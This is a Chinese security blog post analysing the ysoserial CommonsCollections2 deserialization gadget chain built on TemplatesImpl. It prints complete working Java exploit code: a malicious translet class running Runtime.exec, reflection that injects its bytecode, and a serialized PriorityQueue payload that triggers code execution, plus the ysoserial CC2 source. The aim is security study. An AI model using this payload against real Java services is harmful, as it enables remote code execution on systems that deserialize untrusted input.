点击蓝字,关注我们
日期:2023-03-21 作者:ICDAT 介绍:这篇文章主要是对 ysoserial cc2
中TemplatesImpl
的利用进行分析。
0x00 前言
上次我们对TemplatesImpl
在反序列化漏洞中的利用进行了分析,其可以通过反射将恶意类的字节码注入到TemplatesImpl
对象的_bytecodes
属性来实现代码执行。
而我们在看ysoserial cc2
的代码时,发现其通过TemplatesImpl
来实现了一条新的利用链。
0x01 通过TemplatesImpl.newTransformer执行任意代码
通过对TemplatesImpl
在反序列化漏洞中的利用分析,我们知道TemplatesImpl
执行代码的逻辑如下。
首先是新建一个AbstractTranslet
类的子类,在构造方法或static
静态代码块调用计算器。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Test() throws IOException {
super();
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
通过反射设置TemplatesImpl
的成员变量的值。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class RunTest {
public static void main(String[] args) throws Exception {
//获取字节码
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
TemplatesImpl templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
//执行newTransformer()方法触发弹窗
templates.newTransformer();
}
}
即调用TemplatesImpl
的newTransformer()
方法可以实现执行任意代码。
0x02 InvokerTransformer.transform执行输入类的任意方法
我们之前在分析CC2
的利用链时,使用的是之前分析CC5
的相同的,通过构造精心构造的可执行代码的transformers
数组来执行代码。
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
而这里可以执行任意代码的原因,主要是其中的InvokerTransformer.transform
方法。
我们来复习一下,之前对CC5
的利用链中InvokerTransformer.transform
的分析。
InvokerTransformer.transform
通过反射获取input
类的iMethodName
方法并传入iArgs
作为参数来执行。
而我们使用TemplatesImpl
来实现另一条利用链的关键点就在这里。
0x03 InvokerTransformer.transform调用newTransformer()方法
综合上面两部分的分析,我们发现,InvokerTransformer.transform
可以帮助我们实现调用TemplatesImpl
的newTransformer()
方法。
首先我们new
一个InvokerTransformer
对象,其iMethodName
的值肯定为newTransformer()
,又因为TemplatesImpl
的newTransformer()
的形参为空,那么iParamTypes
和iArgs
可设置为null
。
那么我们来写一下相关代码实现。
首先恶意类。
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Abs extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Abs() throws IOException {
super();
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
然后InvokerTransformer
执行transform
方法。
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class InvokeNewTransformer {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/ysoserial/payloads/Abs.class"));
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
TemplatesImpl templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
invokerTransformer.transform(templates);
}
}
成功弹窗。
再然后我们就可以类比之前的CC2
的代码来插入TemplatesImpl
来执行代码。
0x04 TemplatesImpl的CC2利用链
之前的CC2
利用链如下:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
而TemplatesImpl
构造的CC2
利用链如下:
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
我们可以类似CC2
的代码,编写TemplatesImpl
的CC2
利用的代码。
package ysoserial.payloads;
//这里使用的就是collections4库
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2_temp1 {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/ysoserial/payloads/Abs.class"));
Object templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
Transformer chain = new ChainedTransformer(invokerTransformer);
//生成比较器
TransformingComparator tr = new TransformingComparator(chain);
//初始化队列并添加元素
PriorityQueue priorityQueue = new PriorityQueue(2, tr);
priorityQueue.add(templates);
priorityQueue.add(templates);
}
}
首先遇到的问题还是之前在分析CC2
利用链的时候提到的,PriorityQueue
的add
方法也可以调用触发compare
方法进而提前执行代码。
那么我们在向队列中添加值的时候,就不能直接添加恶意类的字节码,我们可以先添加一下无用的字符,来预先填充,后面可以通过反射来修改队列的值。
那么队列的值是什么呢?
PriorityQueue
有个属性值为queue
,其就是队列的值。
add()
方法调用了offer()
方法。
offer()
方法将队列的值赋值给queue
。
那么我们后续通过反射修改queue
的值就可以,需要注意的是queue
是个Object
数组。
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,1});
比如这里我们选择添加Integer
类型的数字1
。
同时因为代码逻辑要执行队列值的iMethodName
方法,所以invokerTransformer
的iMethodName
的值也需要修改,我们这里选择Integer
类的toString
方法。后续还是通过反射来修改。
Field iMethodName = invokerTransformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(invokerTransformer,"newTransformer");
那么完整的payload
代码如下:
package ysoserial.payloads;
//这里使用的就是collections4库
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2_Temp {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/ysoserial/payloads/Abs.class"));
Object templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Transformer chain = new ChainedTransformer(invokerTransformer);
//生成比较器
TransformingComparator tr = new TransformingComparator(chain);
//初始化队列并添加元素
PriorityQueue priorityQueue = new PriorityQueue(2, tr);
priorityQueue.add(1);
priorityQueue.add(1);
Field iMethodName = invokerTransformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(invokerTransformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,1});
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x05 Ysoserial的CC2代码分析
明白了TemplatesImpl
的CC2
利用链,那么我们分析Ysoserial
的代码就简单多了。
主要关注createTemplatesImpl
方法:
传入构造恶意类字节码的三个类作为参数。
这里的代码用到了javassit
的知识,简单做一下方法的功能说明。
ClassPool.getDefault(): 获取到class定义的容器ClassPool
insertClassPath(): 将需要的类对象的路径注册到ClassPool中
ClassPool.get(key): 根据key值去搜索ClassPool中的指定的CtClass对象,即class对象
makeClassInitializer(): 创建static代码块
insertBefore(): 在方法的起始位置插入代码
setName(): 设置类名
setSuperclass(): 设置父类
toBytecode(): 转换为字节数组
知道了上述知识,那么我们可以知道这段代码先是通过javassit
创建了一个恶意类,继承了AbstractTranslet
类,其静态代码块中插入了java.lang.Runtime.getRuntime().exec()
的语句。
至于setFieldValue
方法,其调用了getField
方法,通过反射来取得某个类的属性,并对其赋值。
后面的代码是对TemplatesImpl
对象的_bytecodes
、_name
、_tfactory
属性进行了设置。
理解了createTemplatesImpl
和setFieldValue
方法,就会发现其逻辑同我们之前写的payload
相同,后续不再分析。
附cc2
的代码:
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
"rawtypes", "unchecked" }) ({
"org.apache.commons:commons-collections4:4.0" }) ({
({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}
}
0x06 结语
这篇文章主要是利用TemplatesImpl
来构造CC2
利用链的分析以及Ysoserial
中对CC2
的payload
构造的学习。
https://www.jb51.net/article/205638.htm
https://www.catbro.cn/detail/5e24008621f41f69f74686a7.html
原文始发于微信公众号(宸极实验室):『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论